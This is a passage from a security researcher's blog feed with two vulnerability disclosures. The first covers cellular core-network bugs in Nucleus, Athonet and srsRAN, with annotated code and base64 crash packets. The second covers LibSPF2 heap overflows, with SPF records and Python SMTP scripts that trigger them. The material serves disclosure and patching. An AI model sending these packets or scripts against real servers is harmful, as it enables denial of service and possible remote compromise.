                    <span class="n">ho_required_ies</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">srcToTargetTranspContainer</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
            <span class="c1">// ^ unchecked length overruns struct being copied into</span>
        <span class="p">}</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="c1">// ...</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24434</strong> (<strong>VULN-H06</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">Handover Ack</code> S1AP packet containing an oversized GTP_TEID field will cause Nucleus to crash due to a stack-based buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">include/common/s1ap_structs.h</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">eRAB_setup_ctx_SU</span> <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">eRAB_id</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">dont_know_byte</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">transp_layer_addr</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">gtp_teid</span><span class="p">;</span>
    <span class="c1">// ^ GTP_TEID should be exactly 4 bytes</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">src/s1ap/handlers/s1ap_msg_delegator.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">convertHoAcklToProtoIe</span><span class="p">(</span><span class="n">SuccessfulOutcome_t</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="k">struct</span> <span class="n">proto_IE</span> <span class="o">*</span><span class="n">proto_ies</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">erab_admittedlist</span><span class="p">.</span><span class="n">erab_admitted</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">e_RAB_ID</span> <span class="o">=</span>
                                <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">short</span><span class="p">)</span> <span class="n">eRabAdmittedItem_p</span><span class="o">-&gt;</span><span class="n">e_RAB_ID</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span>
            <span class="o">&amp;</span><span class="p">(</span><span class="n">proto_ies</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">val</span><span class="p">.</span><span class="n">erab_admittedlist</span><span class="p">.</span><span class="n">erab_admitted</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">gtp_teid</span><span class="p">),</span>
            <span class="n">eRabAdmittedItem_p</span><span class="o">-&gt;</span><span class="n">gTP_TEID</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span>
            <span class="n">eRabAdmittedItem_p</span><span class="o">-&gt;</span><span class="n">gTP_TEID</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
    <span class="c1">// ^ unchecked length overruns `unsigned int` being copied into</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37041</strong> (<strong>VULN-H07</strong>):</p>

<p>A malformed <code class="language-plaintext highlighter-rouge">S1Setup Request</code> S1AP packet will cause Nucleus to crash due to memory corruption. The memory corruption happens during ASN.1 parsing and is manifest once structures are freed.</p>

<p>The precise cause could not be ascertained given that the ASN.1 encoding/decoding routines are precompiled as a static library.</p>

<p>Base64-encoded crashing examples:</p>
<ul>
  <li>ABECAwAAABECAwAAAgIAVANkABECAwAAABECAwAAAgIAVANkAAACAG4AEQAAAgBUAAACRnUCgA== (causes crash during ASN_STRUCT_FREE_CONTENTS_ONLY)</li>
  <li>ABEALQAABAA7AAgAAPEQAAAZsAA8QAoDgHNyc2VuYjAxAEAfBwAAAcAD6BAAiUABQA== (causes crash during <code class="language-plaintext highlighter-rouge">free(val);</code>)</li>
</ul>

<h2 id="athonet-lte">Athonet (LTE)</h2>

<p>Note that source code is not available for Athonet, so we were not able to pin down the root programmatic cause of vulnerabilities.</p>

<h3 id="nas-protocol-vulnerabilities-6">NAS Protocol Vulnerabilities</h3>

<p><strong>CVE-2024-24456</strong> (<strong>VULN-I08</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">E-RAB Release Command</code> packet containing a malformed <code class="language-plaintext highlighter-rouge">NAS PDU</code> will cause the Athonet MME to immediately crash, potentially due to a buffer overflow.</p>

<p>Samples:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">AAdAgKEAAAoACEAEgLJ20AAAQAXAR8TVVwAAQAXA00ByNQAAQAXApwf9zwBC</code>
<code class="language-plaintext highlighter-rouge">QAwgAc0/FPSAAWMm7QQAIUA/CQA+QAIcZgAjQAMOCEAAI0ACGogAI0ACHEAA</code>
<code class="language-plaintext highlighter-rouge">I0ACACAAI0ACGIYAI0ACFiAAI0ACDIYAI0ADABCAACNAAghmAAhABIDA+5sA</code>
<code class="language-plaintext highlighter-rouge">GkADAriXAABABcDZHHLJAEJADCAB5Y1Qz4ACFVKEiw==</code></li>
</ul>

<p>Counterexamples:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">AAdAgKEAAAoACEAEgLJ20AAAQAXAR8TVVwAAQAXA00ByNQAAQAXApwf9zwBC</code>
<code class="language-plaintext highlighter-rouge">QAwgAc0/FPSAAWMm7QQAIUA/CQAjQAIcZgAjQAMOCEAAI0ACGogAI0ACHEAA</code>
<code class="language-plaintext highlighter-rouge">I0ACACAAI0ACGIYAI0ACFiAAI0ACDIYAI0ADAAGAACNAAghmAAhABIDA+5sA</code>
<code class="language-plaintext highlighter-rouge">GkADAriXAABABcDZHHLJAEJADCAB5Y1Qz4ACFVKEiw==</code></li>
</ul>

<p>(Counterexample modifies the NAS field, does not lead to any resulting crash)</p>

<h3 id="s1ap-protocol-vulnerabilities-4">S1AP Protocol Vulnerabilities</h3>

<p><strong>CVE-2024-24454</strong> (<strong>VULN-I01</strong>):</p>

<p>An invalid memory access when handling the ProtocolIE_ID field of
E-RAB Modify Request messages in Athonet vEPC MME v11.4.0 allows
attackers to cause a Denial of Service (DoS) to the cellular network by
repeatedly initiating connections and sending a crafted payload.</p>

<p><strong>CVE-2024-24459</strong> (<strong>VULN-I02</strong>):
An invalid memory access when handling the ProtocolIE_ID field of
S1Setup Request messages in Athonet vEPC MME v11.4.0 allows attackers
to cause a Denial of Service (DoS) to the cellular network by
repeatedly initiating connections and sending a crafted payload.</p>

<p><strong>CVE-2024-24455</strong> (<strong>VULN-I03</strong>):</p>

<p>An invalid memory access when handling a UE Context Release message
containing an invalid UE identifier in Athonet vEPC MME v11.4.0 allows
attackers to cause a Denial of Service (DoS) to the cellular network by
repeatedly initiating connections and sending a crafted payload.</p>

<p><strong>CVE-2024-24457</strong> (<strong>VULN-I04</strong>):</p>

<p>An invalid memory access when handling the ProtocolIE_ID field of
E-RAB Setup List Context SURes messages in Athonet vEPC MME v11.4.0
allows attackers to cause a Denial of Service (DoS) to the cellular
network by repeatedly initiating connections and sending a crafted payload.</p>

<p><strong>CVE-2024-24452</strong> (<strong>VULN-I05</strong>):</p>

<p>An invalid memory access when handling the ProtocolIE_ID field of
E-RAB Release Indication messages in Athonet vEPC MME v11.4.0 allows
attackers to cause a Denial of Service (DoS) to the cellular network by
repeatedly initiating connections and sending a crafted payload.</p>

<p><strong>CVE-2024-24453</strong> (<strong>VULN-I06</strong>):</p>

<p>An invalid memory access when handling the ProtocolIE_ID field of
E-RAB NotToBeModifiedBearerModInd information element in Athonet vEPC
MME v11.4.0 allows attackers to cause a Denial of Service (DoS) to the
cellular network by repeatedly initiating connections and sending a
crafted payload.</p>

<p><strong>CVE-2024-24458</strong> (<strong>VULN-I07</strong>):</p>

<p>An invalid memory access when handling the ENB Configuration Transfer
messages containing invalid PLMN Identities in Athonet vEPC MME v11.4.0
allows attackers to cause a Denial of Service (DoS) to the cellular
network by repeatedly initiating connections and sending a crafted
payload.</p>

<h2 id="srsran-lte">srsRAN (LTE)</h2>

<h3 id="s1ap-protocol-vulnerabilities-5">S1AP Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-37001</strong> (<strong>VULN-G01</strong>):</p>

<p>An ASN.1 parsing vulnerability was found in the srsRAN 4G EPC, where bounds constraints on certain integer types were not enforced.</p>

<p><code class="language-plaintext highlighter-rouge">src/asn1/asn1_utils.cc</code></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">template</span> <span class="o">&lt;</span><span class="k">class</span> <span class="nc">IntType</span><span class="p">&gt;</span>
<span class="n">SRSASN_CODE</span> <span class="nf">unpack_constrained_whole_number</span><span class="p">(</span><span class="n">IntType</span><span class="o">&amp;</span> <span class="n">n</span><span class="p">,</span> <span class="n">cbit_ref</span><span class="o">&amp;</span> <span class="n">bref</span><span class="p">,</span> <span class="n">IntType</span> <span class="n">lb</span><span class="p">,</span> <span class="n">IntType</span> <span class="n">ub</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">aligned</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">ub</span> <span class="o">&lt;</span> <span class="n">lb</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">log_error</span><span class="p">(</span><span class="s">"The condition lb &lt;= ub ({} &lt;= {}) was not met"</span><span class="p">,</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">lb</span><span class="p">,</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">ub</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">SRSASN_ERROR_DECODE_FAIL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="kt">uint64_t</span> <span class="n">ra</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)(</span><span class="n">ub</span> <span class="o">-</span> <span class="n">lb</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// NOTE: Can overflow if IntType is kept.</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">ra</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">n</span> <span class="o">=</span> <span class="n">lb</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">SRSASN_SUCCESS</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="kt">uint32_t</span> <span class="n">n_bits</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">ceilf</span><span class="p">(</span><span class="n">log2f</span><span class="p">((</span><span class="kt">float</span><span class="p">)</span><span class="n">ra</span><span class="p">));</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">not</span> <span class="n">aligned</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// UNALIGNED variant</span>
    <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">n_bits</span><span class="p">));</span>
    <span class="n">n</span> <span class="o">+=</span> <span class="n">lb</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&gt;</span> <span class="n">ub</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">// ^ This check ensures that the number cannot exceed bound constraints...</span>
      <span class="n">log_error</span><span class="p">(</span><span class="s">"The condition lb &lt;= n &lt;= ub ({} &lt;= {} &lt;= {}) was not met"</span><span class="p">,</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">lb</span><span class="p">,</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">n</span><span class="p">,</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">ub</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">SRSASN_ERROR_DECODE_FAIL</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="c1">// ALIGNED variant</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ra</span> <span class="o">&lt;</span> <span class="mi">256</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">n_bits</span><span class="p">));</span>
      <span class="c1">// ^ ...but packed rules fail to check to ensure n &lt;= ub.</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">ra</span> <span class="o">&lt;=</span> <span class="n">ASN_64K</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">uint32_t</span> <span class="n">n_octets</span> <span class="o">=</span> <span class="n">ceil_frac</span><span class="p">(</span><span class="n">n_bits</span><span class="p">,</span> <span class="mi">8u</span><span class="p">);</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">align_bytes</span><span class="p">());</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">n_octets</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">align_bytes</span><span class="p">());</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="kt">uint32_t</span> <span class="n">n_bits_len</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">ceilf</span><span class="p">(</span><span class="n">log2f</span><span class="p">(</span><span class="n">ceil_frac</span><span class="p">(</span><span class="n">n_bits</span><span class="p">,</span> <span class="mi">8u</span><span class="p">)));</span>
      <span class="kt">uint32_t</span> <span class="n">n_octets</span><span class="p">;</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="n">n_octets</span><span class="p">,</span> <span class="n">n_bits_len</span><span class="p">));</span>
      <span class="n">n_octets</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">align_bytes</span><span class="p">());</span>
      <span class="n">HANDLE_CODE</span><span class="p">(</span><span class="n">bref</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">n_octets</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
    <span class="p">}</span>
    <span class="n">n</span> <span class="o">+=</span> <span class="n">lb</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// (n &gt; ub) check should be moved here to account for both unaligned and aligned bounds checks.</span>
  <span class="k">return</span> <span class="n">SRSASN_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As a direct consequence of this bug, the unpack_integer and unpack_length methods may return a number greater than the upper bound (up to the next power of 2). These in turn affect unpack_dyn_seq_of, which fills a fixed-sized buffer with data based on the length returned by unpack_length. A length value exceeding the upper bound restriction will cause a buffer overflow and write data from the packet into other fields of the dynamic sequence struct (including its length field). Once this is done, an arbitrary-length buffer overflow can occur from the overwritten length field. This is observed in the S1AP protocol specifically (in its SupportedTAs field, shown below).</p>

<p><code class="language-plaintext highlighter-rouge">srsepc/src/mme/s1ap_mngmt_proc.cc</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">tacs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>                 <span class="o">=</span> <span class="n">ntohs</span><span class="p">(</span><span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">tacs</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">nof_supported_bplmns</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">tas</span><span class="p">.</span><span class="n">broadcast_plmns</span><span class="p">.</span><span class="n">size</span><span class="p">();</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">uint32_t</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">tas</span><span class="p">.</span><span class="n">broadcast_plmns</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ^ tas.broadcast_plmns.size() exceeds bounds due to bad bounds check</span>
    <span class="c1">// BPLMNs</span>
    <span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">bplmns</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">])[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">tas</span><span class="p">.</span><span class="n">broadcast_plmns</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="mi">0</span><span class="p">];</span>
    <span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">bplmns</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">])[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">tas</span><span class="p">.</span><span class="n">broadcast_plmns</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="mi">1</span><span class="p">];</span>
    <span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">bplmns</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">])[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">tas</span><span class="p">.</span><span class="n">broadcast_plmns</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="mi">2</span><span class="p">];</span>
    <span class="c1">// ^ out-of-bounds read/write on array due to oversized plmns list</span>

    <span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">bplmns</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">ntohl</span><span class="p">(</span><span class="n">enb_ctx</span><span class="o">-&gt;</span><span class="n">bplmns</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This vulnerability can also occur in any interface for which there exist dynamic sequence structs containing lower/upper bounds that are not an exact power of two. Based on a quick look-over of the other protocols mentioned, this vulnerability is likely remotely exploitable via the E1AP, E2AP and F1AP protocols as well.</p>]]></content><author><name>Nathaniel Bennett</name></author><category term="ran" /><category term="cellular" /><summary type="html"><![CDATA[Image created with DALLE-3]]></summary></entry><entry><title type="html">CVE-2021-33912 and CVE-2021-33913: Heap overflows in email validation library LibSPF2</title><link href="/2022/01/18/libspf2-cve-jan-2022-disclosure.html" rel="alternate" type="text/html" title="CVE-2021-33912 and CVE-2021-33913: Heap overflows in email validation library LibSPF2" /><published>2022-01-18T00:00:00+00:00</published><updated>2022-01-18T00:00:00+00:00</updated><id>/2022/01/18/libspf2-cve-jan-2022-disclosure</id><content type="html" xml:base="/2022/01/18/libspf2-cve-jan-2022-disclosure.html"><![CDATA[<p>Two bugs related to the parsing of SPF (Sender Policy Framework) records have been found in LibSPF2, a library commonly used to determine the validity of email received to a server. One of these bugs allows for relatively flexible memory corruption in the heap, while the other affects only up to four bytes past the end of an allocated buffer. Both bugs have the potential to be used to carry out 0-click remote code execution, though modern memory defenses may reduce the possibility of such an attack. These vulnerabilities are especially important to note for servers designed to receive or exchange email, as a successful exploit would compromise the privacy and security of email accounts on a given email server. This could additionally lead to the compromise of other online accounts (such as those that would send password reset links to the compromised email account), or serve as a starting point for more sophisticated phishing/spoofing attacks. Both heap overflows can be triggered remotely by first publishing a particular TXT record for an arbitrary domain and then sending an email from that domain to an affected email server.</p>

<h3 id="recommendations">Recommendations</h3>

<p>Versions of LibSPF2 before 1.2.11 are affected by both of these vulnerabilities.</p>

<p>If you are a mail exchange, you should check to see whether your servers use a vulnerable version of LibSPF2. You should check any anti-SPAM devices you may run in addition to mail server software.</p>

<p>If you are a vendor of mail server software or anti-SPAM services, or if you manage packages for an operating system, you should determine whether LibSPF2 is used in any of your configurations and migrate to LibSPF2 1.2.11. This version can be found at:</p>

<p><a href="https://github.com/shevek/libspf2/tree/8131fe140704eaae695e76b5cd09e39bd1dd220b">https://github.com/shevek/libspf2/tree/8131fe140704eaae695e76b5cd09e39bd1dd220b</a></p>

<p>If you use another implementation of SPF, it is unlikely that you will be affected by this issue–the parsing bug is due to specific errors made in the LibSPF2 codebase.</p>

<h3 id="details">Details</h3>

<p>The Sender Policy Framework specification (<a href="https://datatracker.ietf.org/doc/html/rfc7208">RFC 7208</a>) provides several different mechanisms and macros to provide some level of flexibility for SPF policies. 
SPF macros are expanded at the time an SPF policy is retrieved by an email server, and they are meant to represent information specific to a given email exchange (such as the HELO domain or IP address that email is being received from).</p>

<p>SPF macros include several indicators that can alter the way macro expansions occur, including options that reverse and/or truncate portions of the macro expansion and an option to URL-encode the resulting string. Both vulnerabilities in LibSPF2 were found in code implementing these macro options.</p>

<p><strong>CVE-2021-33912</strong> is the result of incorrect parsing in the URL-encode phase of macro expansion. During this phase, any non-ASCII or special characters are converted into their hexadecimal representation (‘ ‘ -&gt; ‘%20’, for instance); LibSPF2 does this through a call to <code class="language-plaintext highlighter-rouge">sprintf</code>. The library implicitly assumes the function will only ever output 4 characters, but certain inputs (0x80-0xff) will cause <code class="language-plaintext highlighter-rouge">sprintf</code> to overwrite 8 characters, thereby overflowing the buffer allocated to store the expansion.</p>

<p>As an example, the following TXT record and SMTP query could be used to trigger a buffer overflow:</p>

<p>TXT record for ‘example.com’: <code class="language-plaintext highlighter-rouge">v=spf1 %{L}.example.com -all</code></p>

<p>SMTP query:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre><span class="kn">from</span> <span class="nn">smtplib</span> <span class="kn">import</span> <span class="n">SMTP</span>

<span class="n">TARGET_IP</span> <span class="o">=</span> <span class="s">'192.0.2.1'</span>
<span class="n">TARGET_EMAIL</span> <span class="o">=</span> <span class="s">'example@nathanielbennett.com'</span>

<span class="k">with</span> <span class="n">SMTP</span><span class="p">()</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
    <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="n">TARGET_IP</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">25</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">ehlo</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s">"example.com"</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'MAIL FROM:</span><span class="se">\xff</span><span class="s">@example.com&gt;</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">docmd</span><span class="p">(</span><span class="s">"RCPT"</span><span class="p">,</span> <span class="s">"TO:&lt;%s&gt;"</span> <span class="o">%</span> <span class="p">(</span><span class="n">TARGET_EMAIL</span><span class="p">,))</span>
    <span class="n">s</span><span class="p">.</span><span class="n">docmd</span><span class="p">(</span><span class="s">"DATA"</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="s">"</span><span class="se">\r\n\r\n</span><span class="s">.</span><span class="se">\r\n</span><span class="s">"</span><span class="p">,</span> <span class="s">'ascii'</span><span class="p">))</span>
    <span class="n">s</span><span class="p">.</span><span class="n">quit</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></figure>

<p>Note: some email server and spam filter implementations reject non-ASCII input in SMTP commands; triggering CVE-2021-33912 is a much more involved process when this is the case, though it is still possible.</p>

<p><strong>CVE-2021-33913</strong> involves an error during the domain label reversal/truncation phase of macro expansion. In the event that a macro is reversed, truncated <em>and</em> URL-encoded during expansion, the buffer of the macro output is erroneously sized based on the length of the leftmost label in the domain, rather than the size of the whole domain. This means that an attacker may use a domain such as “b.AAAAAAAAAAAAAAAAAAAAAA.example.com” to overflow the heap with ‘A’ characters.</p>

<p>The following TXT record and SMTP query could be used to trigger a buffer overflow:</p>

<p>TXT record for ‘example.com’: <code class="language-plaintext highlighter-rouge">v=spf1 %{H5r}.example.com -all</code></p>

<p>SMTP query:</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre><span class="kn">from</span> <span class="nn">smtplib</span> <span class="kn">import</span> <span class="n">SMTP</span>

<span class="n">TARGET_IP</span> <span class="o">=</span> <span class="s">'192.0.2.1'</span>
<span class="n">TARGET_EMAIL</span> <span class="o">=</span> <span class="s">'example@nathanielbennett.com'</span>

<span class="k">with</span> <span class="n">SMTP</span><span class="p">()</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
    <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="n">TARGET_IP</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">25</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">ehlo</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s">"b.AAAAAAAAAAAAAAAAAAAA.example.com"</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">docmd</span><span class="p">(</span><span class="s">"MAIL"</span><span class="p">,</span> <span class="s">"FROM:&lt;test.example.com&gt;"</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">docmd</span><span class="p">(</span><span class="s">"RCPT"</span><span class="p">,</span> <span class="s">"TO:&lt;%s&gt;"</span> <span class="o">%</span> <span class="p">(</span><span class="n">TARGET_EMAIL</span><span class="p">,))</span>
    <span class="n">s</span><span class="p">.</span><span class="n">docmd</span><span class="p">(</span><span class="s">"DATA"</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\r\n\r\n</span><span class="s">.</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
    <span class="n">s</span><span class="p">.</span><span class="n">quit</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></figure>

<p>CVE-2021-33913 provides greater control on the size of the allocated buffer, the amount of data that can be written into the heap and the byte values that can be used; as such, it is of greater concern than CVE-2021-33912.</p>

<h3 id="conclusion">Conclusion</h3>

<p>Email has inadvertantly become a centralized location for backup authentication–most online accounts require an email address for the purpose of having somewhere to communicate password reset links to. As such, the risks of a compromised email server are no longer limited to the loss of privacy of users’ emails. LibSPF2 is not used by any of the biggest email providors (Gmail, Microsoft, Yahoo and the like), though many smaller providers have been measured to be affected. Multiple services (including Exim) make use of the library.</p>

<p>There are options for SPF validation written in memory-safe code (such as pyspf/python-policyd-spf and Mail::SPF, written in Python and Perl respectively). Both of these are up-to-date with the latest RFC. LibSPF2 hasn’t been under active development/maintenence for a couple years now–the last three commits to the code before recent CVE fixes were in 2017, 2016 and 2015. The sensible recommendation may be to switch configurations to one of the above implementations if your email server currently uses LibSPF2. It’s just too easy for vulnerabilities to pop up in C code, especially when it comes to string parsing.</p>

<p>Special thanks goes to shevek, Paulo Smorigo and the IMAAL lab for all the help with patching and measuring these vulnerabilities!</p>

<!--No thanks goes to Facebook, who awarded a bug bounty of $0 upon receiving an early notification of these vulnerabilities being present in their system.-->]]></content><author><name>Nathaniel Bennett</name></author><category term="spf" /><category term="email" /><summary type="html"><![CDATA[Two bugs related to the parsing of SPF (Sender Policy Framework) records have been found in LibSPF2, a library commonly used to determine the validity of email received to a server. One of these bugs allows for relatively flexible memory corruption in the heap, while the other affects only up to four bytes past the end of an allocated buffer. Both bugs have the potential to be used to carry out 0-click remote code execution, though modern memory defenses may reduce the possibility of such an attack. These vulnerabilities are especially important to note for servers designed to receive or exchange email, as a successful exploit would compromise the privacy and security of email accounts on a given email server. This could additionally lead to the compromise of other online accounts (such as those that would send password reset links to the compromised email account), or serve as a starting point for more sophisticated phishing/spoofing attacks. Both heap overflows can be triggered remotely by first publishing a particular TXT record for an arbitrary domain and then sending an email from that domain to an affected email server.]]></summary></entry></feed>